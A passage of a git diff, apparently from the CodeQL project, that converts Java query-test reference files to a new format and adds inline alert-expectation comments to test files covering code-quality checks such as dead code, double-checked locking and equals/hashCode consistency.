DeadCode/DeadClass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/DeadCode/camel/DeadMethod.qlref b/java/ql/test/query-tests/DeadCode/camel/DeadMethod.qlref index 76204a1df5a..743a5f15775 100644 --- a/java/ql/test/query-tests/DeadCode/camel/DeadMethod.qlref +++ b/java/ql/test/query-tests/DeadCode/camel/DeadMethod.qlref @@ -1 +1,2 @@ -DeadCode/DeadMethod.ql +query: DeadCode/DeadMethod.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/DeadCode/camel/com/semmle/camel/DeadTarget.java b/java/ql/test/query-tests/DeadCode/camel/com/semmle/camel/DeadTarget.java index f4fabc7d22e..d2ccfa90e36 100644 --- a/java/ql/test/query-tests/DeadCode/camel/com/semmle/camel/DeadTarget.java +++ b/java/ql/test/query-tests/DeadCode/camel/com/semmle/camel/DeadTarget.java @@ -1,10 +1,10 @@ package com.semmle.camel; /** Dead because it is not referenced in the {@code config.xml} file, or in the Java DSL. */ -public class DeadTarget { +public class DeadTarget { // $ Alert[java/dead-class] public Foo getFoo(Foo foo1) { return new Foo(); } - public static class Foo {} + public static class Foo {} // $ Alert[java/dead-class] } diff --git a/java/ql/test/query-tests/DeadCode/camel/com/semmle/camel/javadsl/CustomRouteBuilder.java b/java/ql/test/query-tests/DeadCode/camel/com/semmle/camel/javadsl/CustomRouteBuilder.java index 437a4d7b56d..01baa30e0a9 100644 --- a/java/ql/test/query-tests/DeadCode/camel/com/semmle/camel/javadsl/CustomRouteBuilder.java +++ b/java/ql/test/query-tests/DeadCode/camel/com/semmle/camel/javadsl/CustomRouteBuilder.java @@ -5,7 +5,7 @@ import org.apache.camel.impl.DefaultCamelContext; public class CustomRouteBuilder extends RouteBuilder { @Override - public void configure() throws Exception { + public void configure() throws Exception { // $ Alert[java/dead-function] from("direct:test") .to("bean:dslToTarget") .bean(DSLBeanTarget.class) diff --git a/java/ql/test/query-tests/Declarations/BreakInSwitchCase.qlref b/java/ql/test/query-tests/Declarations/BreakInSwitchCase.qlref index 463071903e8..ba1066f4fdf 100644 --- a/java/ql/test/query-tests/Declarations/BreakInSwitchCase.qlref +++ b/java/ql/test/query-tests/Declarations/BreakInSwitchCase.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Declarations/BreakInSwitchCase.ql \ No newline at end of file +query: Violations of Best Practice/Declarations/BreakInSwitchCase.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/Declarations/Test.java b/java/ql/test/query-tests/Declarations/Test.java index 473001a4de4..d47c8e72904 100644 --- a/java/ql/test/query-tests/Declarations/Test.java +++ b/java/ql/test/query-tests/Declarations/Test.java @@ -11,13 +11,13 @@ public class Test { System.out.println("No args"); break; case 1: - case 2: + case 2: // $ Alert System.out.println("1-2 args"); // missing break. case 3: System.out.println("3 or more args"); // fall-through - case 4: + case 4: // $ Alert System.out.println("4 or more args"); if (i > 1) break; diff --git a/java/ql/test/query-tests/DefineEqualsWhenAddingFields/DefineEqualsWhenAddingFields.qlref b/java/ql/test/query-tests/DefineEqualsWhenAddingFields/DefineEqualsWhenAddingFields.qlref index 59ec6309d58..908f133eccb 100644 --- a/java/ql/test/query-tests/DefineEqualsWhenAddingFields/DefineEqualsWhenAddingFields.qlref +++ b/java/ql/test/query-tests/DefineEqualsWhenAddingFields/DefineEqualsWhenAddingFields.qlref @@ -1,2 +1,2 @@ - -Likely Bugs/Comparison/DefineEqualsWhenAddingFields.ql \ No newline at end of file +query: Likely Bugs/Comparison/DefineEqualsWhenAddingFields.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/DoubleCheckedLocking/A.java b/java/ql/test/query-tests/DoubleCheckedLocking/A.java index 88c7e317244..c1b119d061a 100644 --- a/java/ql/test/query-tests/DoubleCheckedLocking/A.java +++ b/java/ql/test/query-tests/DoubleCheckedLocking/A.java @@ -9,11 +9,11 @@ public class A { private String s1; public String getString1() { if (s1 == null) { - synchronized(this) { + synchronized(this) { // $ if (s1 == null) { s1 = "string"; // BAD, immutable but read twice outside sync } - } + } // $ Alert[java/unsafe-double-checked-locking] } return s1; } @@ -37,12 +37,12 @@ public class A { public B getter1() { B x = b1; if (x == null) { - synchronized(this) { + synchronized(this) { // $ if ((x = b1) == null) { b1 = new B(); // BAD, not volatile x = b1; } - } + } // $ Alert[java/unsafe-double-checked-locking] } return x; } @@ -67,7 +67,7 @@ public class A { if (b3 == null) { synchronized(this) { if (b3 == null) { - b3 = new B(); + b3 = new B(); // $ Alert[java/unsafe-double-checked-locking-init-order] b3.x = 7; // BAD, post update init } } @@ -80,7 +80,7 @@ public class A { if (b4 == null) { synchronized(this) { if (b4 == null) { - b4 = new B(); + b4 = new B(); // $ Alert[java/unsafe-double-checked-locking-init-order] b4.setX(7); // BAD, post update init } } @@ -98,12 +98,12 @@ public class A { private FinalHelper b5; public B getter5() { if (b5 == null) { - synchronized(this) { + synchronized(this) { // $ if (b5 == null) { B b = new B(); b5 = new FinalHelper(b); // BAD, racy read on b5 outside synchronized-block } - } + } // $ Alert[java/unsafe-double-checked-locking] } return b5.x; // Potential NPE here, as the two b5 reads may be reordered } diff --git a/java/ql/test/query-tests/DoubleCheckedLocking/DoubleCheckedLocking.qlref b/java/ql/test/query-tests/DoubleCheckedLocking/DoubleCheckedLocking.qlref index dba6bdc1423..e5349f614dd 100644 --- a/java/ql/test/query-tests/DoubleCheckedLocking/DoubleCheckedLocking.qlref +++ b/java/ql/test/query-tests/DoubleCheckedLocking/DoubleCheckedLocking.qlref @@ -1 +1,2 @@ -Likely Bugs/Concurrency/DoubleCheckedLocking.ql +query: Likely Bugs/Concurrency/DoubleCheckedLocking.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/DoubleCheckedLocking/DoubleCheckedLockingWithInitRace.qlref b/java/ql/test/query-tests/DoubleCheckedLocking/DoubleCheckedLockingWithInitRace.qlref index eaa2a16d238..f38033e0831 100644 --- a/java/ql/test/query-tests/DoubleCheckedLocking/DoubleCheckedLockingWithInitRace.qlref +++ b/java/ql/test/query-tests/DoubleCheckedLocking/DoubleCheckedLockingWithInitRace.qlref @@ -1 +1,2 @@ -Likely Bugs/Concurrency/DoubleCheckedLockingWithInitRace.ql +query: Likely Bugs/Concurrency/DoubleCheckedLockingWithInitRace.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/EqualsArray/EqualsArray.qlref b/java/ql/test/query-tests/EqualsArray/EqualsArray.qlref index 0e55e19bea4..7bd191ec639 100644 --- a/java/ql/test/query-tests/EqualsArray/EqualsArray.qlref +++ b/java/ql/test/query-tests/EqualsArray/EqualsArray.qlref @@ -1 +1,2 @@ -Likely Bugs/Comparison/EqualsArray.ql \ No newline at end of file +query: Likely Bugs/Comparison/EqualsArray.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/EqualsArray/Test.java b/java/ql/test/query-tests/EqualsArray/Test.java index f6bf536c4b1..f1870b15ddf 100644 --- a/java/ql/test/query-tests/EqualsArray/Test.java +++ b/java/ql/test/query-tests/EqualsArray/Test.java @@ -3,7 +3,7 @@ public class Test { // NOT OK public boolean areTheseMyNumbers(int[] numbers) { - return this.numbers.equals(numbers); + return this.numbers.equals(numbers); // $ Alert } // OK @@ -17,6 +17,6 @@ public class Test { } { - numbers.hashCode(); + numbers.hashCode(); // $ Alert } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/EqualsUsesInstanceOf/EqualsUsesInstanceOf.qlref b/java/ql/test/query-tests/EqualsUsesInstanceOf/EqualsUsesInstanceOf.qlref index 5fb552f91da..b9031f10aa6 100644 --- a/java/ql/test/query-tests/EqualsUsesInstanceOf/EqualsUsesInstanceOf.qlref +++ b/java/ql/test/query-tests/EqualsUsesInstanceOf/EqualsUsesInstanceOf.qlref @@ -1 +1,2 @@ -Likely Bugs/Comparison/EqualsUsesInstanceOf.ql \ No newline at end of file +query: Likely Bugs/Comparison/EqualsUsesInstanceOf.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/ExposeRepresentation/ExposeRepresentation.qlref b/java/ql/test/query-tests/ExposeRepresentation/ExposeRepresentation.qlref index 6452bb942d2..e47d860dcc2 100644 --- a/java/ql/test/query-tests/ExposeRepresentation/ExposeRepresentation.qlref +++ b/java/ql/test/query-tests/ExposeRepresentation/ExposeRepresentation.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Implementation Hiding/ExposeRepresentation.ql +query: Violations of Best Practice/Implementation Hiding/ExposeRepresentation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/ExposeRepresentation/ExposesRep.java b/java/ql/test/query-tests/ExposeRepresentation/ExposesRep.java index 11cf4456788..3949467e249 100644 --- a/java/ql/test/query-tests/ExposeRepresentation/ExposesRep.java +++ b/java/ql/test/query-tests/ExposeRepresentation/ExposesRep.java @@ -8,17 +8,17 @@ public class ExposesRep { strings = new String[1]; } - public String[] getStrings() { return strings; } + public String[] getStrings() { return strings; } // $ Alert - public Map getStringMap() { + public Map getStringMap() { // $ Alert return stringMap; } - public void setStrings(String[] ss) { + public void setStrings(String[] ss) { // $ Alert this.strings = ss; } - public void setStringMap(Map m) { + public void setStringMap(Map m) { // $ Alert this.stringMap = m; } } @@ -26,5 +26,5 @@ public class ExposesRep { class GenericExposesRep { private T[] array; - public T[] getArray() { return array; } + public T[] getArray() { return array; } // $ Alert } diff --git a/java/ql/test/query-tests/Finally/Finally.java b/java/ql/test/query-tests/Finally/Finally.java index 536dc1df65f..7baffe907b4 100644 --- a/java/ql/test/query-tests/Finally/Finally.java +++ b/java/ql/test/query-tests/Finally/Finally.java @@ -3,7 +3,7 @@ class InFinally { void returnVoidInFinally() { try { } finally { - return; + return; // $ Alert } } @@ -14,7 +14,7 @@ class InFinally { } } finally { if (b2) { - return 5; + return 5; // $ Alert } } return 3; @@ -27,7 +27,7 @@ class InFinally { } } finally { if (b2) { - throw new RuntimeException("Foo 2"); + throw new RuntimeException("Foo 2"); // $ Alert } } throw new RuntimeException("Foo 3"); @@ -60,7 +60,7 @@ class InFinally { } } finally { if(b) { - break; + break; // $ Alert } } } @@ -74,7 +74,7 @@ class InFinally { } } finally { if(b) { - break; + break; // $ Alert } } } @@ -108,7 +108,7 @@ class InFinally { } } finally { if(b) { - continue; + continue; // $ Alert } } } @@ -122,7 +122,7 @@ class InFinally { } } finally { if(b) { - continue; + continue; // $ Alert } } } diff --git a/java/ql/test/query-tests/Finally/FinallyMayNotComplete.qlref b/java/ql/test/query-tests/Finally/FinallyMayNotComplete.qlref index d15679d0dc9..18b98edef02 100644 --- a/java/ql/test/query-tests/Finally/FinallyMayNotComplete.qlref +++ b/java/ql/test/query-tests/Finally/FinallyMayNotComplete.qlref @@ -1 +1,2 @@ -Violations of Best Practice/legacy/FinallyMayNotComplete.ql +query: Violations of Best Practice/legacy/FinallyMayNotComplete.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/HashedButNoHash/HashedButNoHash.qlref b/java/ql/test/query-tests/HashedButNoHash/HashedButNoHash.qlref index 22dcbc4be81..2dc8d0a9197 100644 --- a/java/ql/test/query-tests/HashedButNoHash/HashedButNoHash.qlref +++ b/java/ql/test/query-tests/HashedButNoHash/HashedButNoHash.qlref @@ -1 +1,2 @@ -Likely Bugs/Comparison/HashedButNoHash.ql \ No newline at end of file +query: Likely Bugs/Comparison/HashedButNoHash.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/HashedButNoHash/Test.java b/java/ql/test/query-tests/HashedButNoHash/Test.java index fa3e3851bbc..b8d63affe78 100644 --- a/java/ql/test/query-tests/HashedButNoHash/Test.java +++ b/java/ql/test/query-tests/HashedButNoHash/Test.java @@ -7,7 +7,7 @@ class Test { A a = new A(); map.put(a, "value"); HashMap map2 = new HashMap<>(); - map2.put(a, "value"); + map2.put(a, "value"); // $ Alert } } diff --git a/java/ql/test/query-tests/IgnoreExceptionalReturn/IgnoreExceptionalReturn.qlref b/java/ql/test/query-tests/IgnoreExceptionalReturn/IgnoreExceptionalReturn.qlref index a324dbc8ebf..f359a3dfd3e 100644 --- a/java/ql/test/query-tests/IgnoreExceptionalReturn/IgnoreExceptionalReturn.qlref +++ b/java/ql/test/query-tests/IgnoreExceptionalReturn/IgnoreExceptionalReturn.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Exception Handling/IgnoreExceptionalReturn.ql +query: Violations of Best Practice/Exception Handling/IgnoreExceptionalReturn.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/IgnoreExceptionalReturn/Test.java b/java/ql/test/query-tests/IgnoreExceptionalReturn/Test.java index 68f647ad474..9f16604b33a 100644 --- a/java/ql/test/query-tests/IgnoreExceptionalReturn/Test.java +++ b/java/ql/test/query-tests/IgnoreExceptionalReturn/Test.java @@ -2,13 +2,13 @@ import java.io.*; public class Test { public static void main(String[] args) throws IOException { - new File("foo").createNewFile(); + new File("foo").createNewFile(); // $ Alert new File("foo").delete(); // Don't flag: there's usually nothing to do - new File("foo").mkdir(); + new File("foo").mkdir(); // $ Alert new File("foo").mkdirs(); // Don't flag: the return value is uninformative/misleading - new File("foo").renameTo(new File("bar")); - new File("foo").setLastModified(0L); - new File("foo").setReadOnly(); - new File("foo").setWritable(true); + new File("foo").renameTo(new File("bar")); // $ Alert + new File("foo").setLastModified(0L); // $ Alert + new File("foo").setReadOnly(); // $ Alert + new File("foo").setWritable(true); // $ Alert } } diff --git a/java/ql/test/query-tests/ImpossibleCast/ImpossibleCast.qlref b/java/ql/test/query-tests/ImpossibleCast/ImpossibleCast.qlref index f39a2841d29..076c1c077fc 100644 --- a/java/ql/test/query-tests/ImpossibleCast/ImpossibleCast.qlref +++ b/java/ql/test/query-tests/ImpossibleCast/ImpossibleCast.qlref @@ -1 +1,2 @@ -Likely Bugs/Statements/ImpossibleCast.ql \ No newline at end of file +query: Likely Bugs/Statements/ImpossibleCast.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/ImpossibleCast/impossible_cast/A.java b/java/ql/test/query-tests/ImpossibleCast/impossible_cast/A.java index c7ed31926b3..05b4e5734e8 100644 --- a/java/ql/test/query-tests/ImpossibleCast/impossible_cast/A.java +++ b/java/ql/test/query-tests/ImpossibleCast/impossible_cast/A.java @@ -3,6 +3,6 @@ package impossible_cast; import java.io.Serializable; public class A { - { String[] s = (String[])new Object[] { "Hello, world!" }; } - { Serializable[] ss = (Object[][])new Serializable[] {}; } + { String[] s = (String[])new Object[] { "Hello, world!" }; } // $ Alert + { Serializable[] ss = (Object[][])new Serializable[] {}; } // $ Alert } diff --git a/java/ql/test/query-tests/InconsistentEqualsHashCode/InconsistentEqualsHashCode.qlref b/java/ql/test/query-tests/InconsistentEqualsHashCode/InconsistentEqualsHashCode.qlref index f97a899d887..bdda86a6662 100644 --- a/java/ql/test/query-tests/InconsistentEqualsHashCode/InconsistentEqualsHashCode.qlref +++ b/java/ql/test/query-tests/InconsistentEqualsHashCode/InconsistentEqualsHashCode.qlref @@ -1 +1,2 @@ -Likely Bugs/Comparison/InconsistentEqualsHashCode.ql \ No newline at end of file +query: Likely Bugs/Comparison/InconsistentEqualsHashCode.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/InconsistentEqualsHashCode/Test.java b/java/ql/test/query-tests/InconsistentEqualsHashCode/Test.java index f4bbb3bcbce..fce1665accb 100644 --- a/java/ql/test/query-tests/InconsistentEqualsHashCode/Test.java +++ b/java/ql/test/query-tests/InconsistentEqualsHashCode/Test.java @@ -16,14 +16,14 @@ class Super { } } -class NoEquals extends Super { +class NoEquals extends Super { // $ Alert // BAD public int hashCode() { return myInt+1; } } -class NoHashCode extends Super { +class NoHashCode extends Super { // $ Alert // BAD public boolean equals(Object other) { return true; @@ -37,4 +37,4 @@ class RefiningEquals extends Super { public boolean equals(Object other) { return (super.equals(other) && myLong == ((RefiningEquals)other).myLong); } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/InconsistentOperations/InconsistentCallOnResult.qlref b/java/ql/test/query-tests/InconsistentOperations/InconsistentCallOnResult.qlref index b1457baff9a..b0ed2b68915 100644 --- a/java/ql/test/query-tests/InconsistentOperations/InconsistentCallOnResult.qlref +++ b/java/ql/test/query-tests/InconsistentOperations/InconsistentCallOnResult.qlref @@ -1 +1,2 @@ -Likely Bugs/Statements/InconsistentCallOnResult.ql \ No newline at end of file +query: Likely Bugs/Statements/InconsistentCallOnResult.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/InconsistentOperations/Operations.java b/java/ql/test/query-tests/InconsistentOperations/Operations.java index 1667ac5fccc..a91ec212a10 100644 --- a/java/ql/test/query-tests/InconsistentOperations/Operations.java +++ b/java/ql/test/query-tests/InconsistentOperations/Operations.java @@ -36,7 +36,7 @@ public class Operations implements AutoCloseable { { Operations ops = open(); if (ops.isOpen()) ops.close(); } { Operations ops = open(); if (ops.isOpen()) ops.close(); } { Operations ops = open(); if (ops.isOpen()) ops.close(); } - { Operations ops = open(); if (ops.isOpen()) ops.open(); } + { Operations ops = open(); if (ops.isOpen()) ops.open(); } // $ Alert[java/inconsistent-call-on-result] } public void missingAdd() { @@ -83,7 +83,7 @@ public class Operations implements AutoCloseable { System.out.println(this.toString()); System.out.println(this.toString()); System.out.println(this.toString()); - this.toString(); + this.toString(); // $ Alert[java/return-value-ignored] } public void designedForChaining() { diff --git a/java/ql/test/query-tests/InconsistentOperations/ReturnValueIgnored.qlref b/java/ql/test/query-tests/InconsistentOperations/ReturnValueIgnored.qlref index ef1dc964d95..ab13392ec55 100644 --- a/java/ql/test/query-tests/InconsistentOperations/ReturnValueIgnored.qlref +++ b/java/ql/test/query-tests/InconsistentOperations/ReturnValueIgnored.qlref @@ -1 +1,2 @@ -Likely Bugs/Statements/ReturnValueIgnored.ql \ No newline at end of file +query: Likely Bugs/Statements/ReturnValueIgnored.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/InconsistentOperations/Test2.java b/java/ql/test/query-tests/InconsistentOperations/Test2.java index c325179b863..6d74fd883fc 100644 --- a/java/ql/test/query-tests/InconsistentOperations/Test2.java +++ b/java/ql/test/query-tests/InconsistentOperations/Test2.java @@ -12,6 +12,6 @@ public class Test2 { { A a = foo(); a.bar(); } { A a = foo(); a.bar(); } { A a = foo(); a.bar(); } - { A a = foo(); /* no a.bar();*/ } // NOT OK + { A a = foo(); /* no a.bar();*/ } // $ Alert[java/inconsistent-call-on-result] // NOT OK } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/InconsistentOperations/Test3.java b/java/ql/test/query-tests/InconsistentOperations/Test3.java index 70c28029de9..9600179fe6d 100644 --- a/java/ql/test/query-tests/InconsistentOperations/Test3.java +++ b/java/ql/test/query-tests/InconsistentOperations/Test3.java @@ -14,5 +14,5 @@ public class Test3 { { A a = foo(); a.bar(); } } - { A a = foo(); /* no a.bar();*/ } // NOT OK -} \ No newline at end of file + { A a = foo(); /* no a.bar();*/ } // $ Alert[java/inconsistent-call-on-result] // NOT OK +} diff --git a/java/ql/test/query-tests/InefficientOutputStream/InefficientOutputStream.qlref b/java/ql/test/query-tests/InefficientOutputStream/InefficientOutputStream.qlref index 1ae3a25fd23..92c44931869 100644 --- a/java/ql/test/query-tests/InefficientOutputStream/InefficientOutputStream.qlref +++ b/java/ql/test/query-tests/InefficientOutputStream/InefficientOutputStream.qlref @@ -1 +1,2 @@ -Performance/InefficientOutputStream.ql \ No newline at end of file +query: Performance/InefficientOutputStream.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/InefficientOutputStream/InefficientOutputStreamBad.java b/java/ql/test/query-tests/InefficientOutputStream/InefficientOutputStreamBad.java index f1d17f31aa9..fda83c34964 100644 --- a/java/ql/test/query-tests/InefficientOutputStream/InefficientOutputStreamBad.java +++ b/java/ql/test/query-tests/InefficientOutputStream/InefficientOutputStreamBad.java @@ -2,7 +2,7 @@ import java.io.*; import java.security.*; import java.util.*; -public class InefficientOutputStreamBad extends OutputStream { +public class InefficientOutputStreamBad extends OutputStream { // $ Alert private DigestOutputStream digest; private byte[] expectedMD5; diff --git a/java/ql/test/query-tests/InnerClassCouldBeStatic/Classes.java b/java/ql/test/query-tests/InnerClassCouldBeStatic/Classes.java index 38ef4d358db..03932830d58 100644 --- a/java/ql/test/query-tests/InnerClassCouldBeStatic/Classes.java +++ b/java/ql/test/query-tests/InnerClassCouldBeStatic/Classes.java @@ -12,19 +12,19 @@ public class Classes { } /** Could be static. */ - private class MaybeStatic { + private class MaybeStatic { // $ Alert } /** Only accesses enclosing instance in constructor. */ - private class MaybeStatic1 { + private class MaybeStatic1 { // $ Alert public MaybeStatic1() { System.out.println(foo); } } /** Only accesses enclosing instance in constructor. */ - private class MaybeStatic2 { + private class MaybeStatic2 { // $ Alert public MaybeStatic2() { System.out.println(Classes.this); } @@ -37,7 +37,7 @@ public class Classes { /** * Supertype could be static, and no enclosing instance accesses. */ - private class MaybeStatic3 extends MaybeStatic2 { + private class MaybeStatic3 extends MaybeStatic2 { // $ Alert public void foo(int i) { staticFoo = i; } } @@ -47,7 +47,7 @@ public class Classes { /** Nested and extending classes that can be static; using enclosing * state only in constructor. */ - public class MaybeStatic4 extends Static { + public class MaybeStatic4 extends Static { // $ Alert MaybeStatic4() { System.out.println(staticFoo); } @@ -57,19 +57,19 @@ public class Classes { /** * Access to bar() is through inheritance, not enclosing state. */ - private class MaybeStatic5 extends Classes { + private class MaybeStatic5 extends Classes { // $ Alert public void doit() { System.out.println(bar()); } } - private class MaybeStatic6 { + private class MaybeStatic6 { // $ Alert private final int myFoo = staticFoo; MaybeStatic6() { staticBar(); } } /** A qualified `this` access needn't refer to the enclosing instance. */ - private class MaybeStatic7 { + private class MaybeStatic7 { // $ Alert private void foo() { MaybeStatic7.this.foo(); } } @@ -82,7 +82,7 @@ public class Classes { System.out.println(interfaceFoo); } - class MaybeStatic8 { + class MaybeStatic8 { // $ Alert private void bar() { System.out.println(interfaceFoo); } @@ -91,14 +91,14 @@ public class Classes { } /** Accesses implicitly static interface field. */ - public class MaybeStatic9 extends MaybeStatic7 { + public class MaybeStatic9 extends MaybeStatic7 { // $ Alert private void bar() { System.out.println(Interface.interfaceFoo); } } /** A qualified `super` access that doesn't refer to the enclosing scope. */ - class MaybeStatic10 extends Classes { + class MaybeStatic10 extends Classes { // $ Alert private void baz() { System.out.println(MaybeStatic10.super.getClass()); } @@ -108,7 +108,7 @@ public class Classes { interface B { class ThisIsStatic { final int outer = 0; - class MaybeStaticToo { + class MaybeStaticToo { // $ Alert final int a = 0; } class MayNotBeStatic { @@ -130,7 +130,7 @@ public class Classes { enum E { A; - class NotStaticButCouldBe {} + class NotStaticButCouldBe {} // $ Alert } /** @@ -187,9 +187,9 @@ public class Classes { } /** Could be static. */ - private class SadlyNotStatic { + private class SadlyNotStatic { // $ Alert /** Could be static, provided the enclosing class is made static. */ - private class SadlyNotStaticToo { + private class SadlyNotStaticToo { // $ Alert } } @@ -203,26 +203,26 @@ public class Classes { } } - private class MaybeStatic11 { + private class MaybeStatic11 { // $ Alert { new MaybeStatic11(); } } - private class MaybeStatic12 { + private class MaybeStatic12 { // $ Alert { new Classes().new NotStatic(); } } - private class MaybeStatic13 { + private class MaybeStatic13 { // $ Alert { new Static(); } } - class CouldBeStatic { + class CouldBeStatic { // $ Alert { new Object() { class CannotBeStatic { } }; } - class CouldBeStatic2 { + class CouldBeStatic2 { // $ Alert int i; class NotStatic { { @@ -252,7 +252,7 @@ public class Classes { } /** Has an inner anonymous class with a field initializer accessing a member of this class. */ - class CouldBeStatic3 { + class CouldBeStatic3 { // $ Alert int j; { new Object() { diff --git a/java/ql/test/query-tests/InnerClassCouldBeStatic/InnerClassCouldBeStatic.qlref b/java/ql/test/query-tests/InnerClassCouldBeStatic/InnerClassCouldBeStatic.qlref index 3d3b5444609..68cb3e6761e 100644 --- a/java/ql/test/query-tests/InnerClassCouldBeStatic/InnerClassCouldBeStatic.qlref +++ b/java/ql/test/query-tests/InnerClassCouldBeStatic/InnerClassCouldBeStatic.qlref @@ -1 +1,2 @@ -Performance/InnerClassCouldBeStatic.ql \ No newline at end of file +query: Performance/InnerClassCouldBeStatic.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/InnerClassCouldBeStatic/Test.java b/java/ql/test/query-tests/InnerClassCouldBeStatic/Test.java index 41926a6e230..92d39471a13 100644 --- a/java/ql/test/query-tests/InnerClassCouldBeStatic/Test.java +++ b/java/ql/test/query-tests/InnerClassCouldBeStatic/Test.java @@ -2,7 +2,7 @@ class Test { static class Super { public void test() {} } - class Sub extends Super { + class Sub extends Super { // $ Alert public void test2() { test(); } diff --git a/java/ql/test/query-tests/Iterable/IterableIterator.qlref b/java/ql/test/query-tests/Iterable/IterableIterator.qlref index 74c3aa86efa..b21ae41e640 100644 --- a/java/ql/test/query-tests/Iterable/IterableIterator.qlref +++ b/java/ql/test/query-tests/Iterable/IterableIterator.qlref @@ -1 +1,2 @@ -Language Abuse/IterableIterator.ql +query: Language Abuse/IterableIterator.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/Iterable/Test.java b/java/ql/test/query-tests/Iterable/Test.java index e44f8dd9c28..7978342a96f 100644 --- a/java/ql/test/query-tests/Iterable/Test.java +++ b/java/ql/test/query-tests/Iterable/Test.java @@ -9,7 +9,7 @@ class Test { List someStrings; void m() { - useIterable(new Iterable() { + useIterable(new Iterable() { // $ Alert[java/iterable-wraps-iterator] final Iterator i = someStrings.iterator(); // bad @Override @@ -72,7 +72,7 @@ class Test { public void remove() { } } - protected class ValueIterableBad implements Iterable { + protected class ValueIterableBad implements Iterable { // $ Alert[java/iterable-wraps-iterator] private ValueIterator iterator = new ValueIterator(); // bad @Override public Iterator iterator() { @@ -105,7 +105,7 @@ class Test { } } - class IntIteratorBad implements Iterable, Iterator { + class IntIteratorBad implements Iterable, Iterator { // $ Alert[java/iterator-implements-iterable] private int[] ints; private int idx = 0; IntIteratorBad(int[] ints) { diff --git a/java/ql/test/query-tests/Iterable/WrappedIterator.qlref b/java/ql/test/query-tests/Iterable/WrappedIterator.qlref index c21083fd818..ce208ed2f8a 100644 --- a/java/ql/test/query-tests/Iterable/WrappedIterator.qlref +++ b/java/ql/test/query-tests/Iterable/WrappedIterator.qlref @@ -1 +1,2 @@ -Language Abuse/WrappedIterator.ql +query: Language Abuse/WrappedIterator.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/IteratorRemoveMayFail/IteratorRemoveMayFail.qlref b/java/ql/test/query-tests/IteratorRemoveMayFail/IteratorRemoveMayFail.qlref index 614554885fe..3a9b278a015 100644 --- a/java/ql/test/query-tests/IteratorRemoveMayFail/IteratorRemoveMayFail.qlref +++ b/java/ql/test/query-tests/IteratorRemoveMayFail/IteratorRemoveMayFail.qlref @@ -1 +1,2 @@ -Likely Bugs/Collections/IteratorRemoveMayFail.ql \ No newline at end of file +query: Likely Bugs/Collections/IteratorRemoveMayFail.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/IteratorRemoveMayFail/Test.java b/java/ql/test/query-tests/IteratorRemoveMayFail/Test.java index 3ed2c563327..f06f8efb22d 100644 --- a/java/ql/test/query-tests/IteratorRemoveMayFail/Test.java +++ b/java/ql/test/query-tests/IteratorRemoveMayFail/Test.java @@ -13,7 +13,7 @@ public class Test { private static void removeOdd(Iterator iter) { while (iter.hasNext()) { if (iter.next()%2 != 0) - iter.remove(); + iter.remove(); // $ Alert } } } @@ -41,7 +41,7 @@ class A { class Parent { public void removeFirst(List l) { - l.iterator().remove(); + l.iterator().remove(); // $ Alert } } @@ -52,4 +52,4 @@ class Child extends Parent { removeFirst(Arrays.asList(ss)); } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/Javadoc/ImpossibleJavadocThrows.java b/java/ql/test/query-tests/Javadoc/ImpossibleJavadocThrows.java index 7ba8988c38b..9795251ce9a 100644 --- a/java/ql/test/query-tests/Javadoc/ImpossibleJavadocThrows.java +++ b/java/ql/test/query-tests/Javadoc/ImpossibleJavadocThrows.java @@ -6,14 +6,14 @@ class ImpossibleJavadocThrows { /** * - * @throws InterruptedException + * @throws InterruptedException // $ Alert */ public void bad1() { } /** * - * @exception Exception + * @exception Exception // $ Alert */ public void bad2() { } @@ -31,4 +31,4 @@ class ImpossibleJavadocThrows { */ public void goodUnchecked(){ } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/Javadoc/ImpossibleJavadocThrows.qlref b/java/ql/test/query-tests/Javadoc/ImpossibleJavadocThrows.qlref index 3f604bfc9d1..dc001712b07 100644 --- a/java/ql/test/query-tests/Javadoc/ImpossibleJavadocThrows.qlref +++ b/java/ql/test/query-tests/Javadoc/ImpossibleJavadocThrows.qlref @@ -1 +1,2 @@ -Advisory/Documentation/ImpossibleJavadocThrows.ql \ No newline at end of file +query: Advisory/Documentation/ImpossibleJavadocThrows.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/LShiftLargerThanTypeWidth/A.java b/java/ql/test/query-tests/LShiftLargerThanTypeWidth/A.java index a2f1f78506c..71383afbe5f 100644 --- 